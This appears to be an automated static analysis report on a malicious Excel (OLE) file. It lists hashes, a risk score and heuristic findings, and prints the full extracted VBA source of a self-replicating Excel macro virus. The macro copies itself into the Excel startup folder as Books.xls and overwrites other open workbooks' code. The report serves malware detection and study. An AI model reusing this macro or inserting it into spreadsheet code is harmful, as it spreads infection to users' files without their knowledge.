Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ad7dc797594930af…

MALICIOUS

Office (OLE)

20.0 KB Created: 2004-05-31 09:43:26 Authoring application: Microsoft Excel First seen: 2015-10-05
MD5: b061ade8b8abf09d883ddd4da44c2ad0 SHA-1: 8b2437e4d9c9f9ba4e1f3a97d0861bc67e208f91 SHA-256: ad7dc797594930af106250ca3af0c484df241a66646fd7abb883515a745167ed
88 Risk Score

Heuristics 3

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                .CodeModule.DeleteLines 1, .CodeModule.CountOfLines
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2662 bytes
SHA-256: 4d61c6cf093e517d404fb366db3f366a64dec2d1ff88b527c40d6e5a92ecc24f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True








Const Sn = "Books.xls"
Sub CreatSelf(r As String)
    On Error Resume Next
    Application.DisplayAlerts = False
    LookAdd
    Application.ActiveWorkbook.SaveAs r
    Application.DisplayAlerts = True
    On Error GoTo 0
End Sub

Private Sub Workbook_NewSheet(ByVal Sh As Object)

End Sub

Private Sub Workbook_Open()
    On Error Resume Next
    Application.ScreenUpdating = False
    r = Application.StartupPath & "\" & Sn
    s = Application.Workbooks(Sn).Name
    If s = "" Then
        cf = ActiveWorkbook.Name
        Application.Workbooks.Add
        CreatSelf (r)
        Workbooks(cf).Activate
    End If
      
    Application.ScreenUpdating = True
    On Error GoTo 0
End Sub
Function LookAdd() As Boolean
    On Error Resume Next
    If ThisWorkbook.Name = ActiveWorkbook.Name Then GoTo NoAdd
    With ActiveWorkbook.VBProject.VBComponents("ThisWorkbook")
        s = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines
        m = .CodeModule.CountOfLines
        If m >= s Then GoTo NoAdd
        Do While .CodeModule.CountOfLines > 0
            .CodeModule.DeleteLines 1, .CodeModule.CountOfLines
        Loop
        For i = 1 To s
            sl = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.Lines(i, 1)
            .CodeModule.InsertLines i, sl
        Next i
        ap = ActiveWorkbook.Path
        If ap <> "" Then ActiveWorkbook.Save
    End With
YesAdd:
    LookAdd = True
    On Error GoTo 0
    Exit Function
NoAdd:
    LookAdd = False
    On Error GoTo 0
End Function


Attribute VB_Name = "List1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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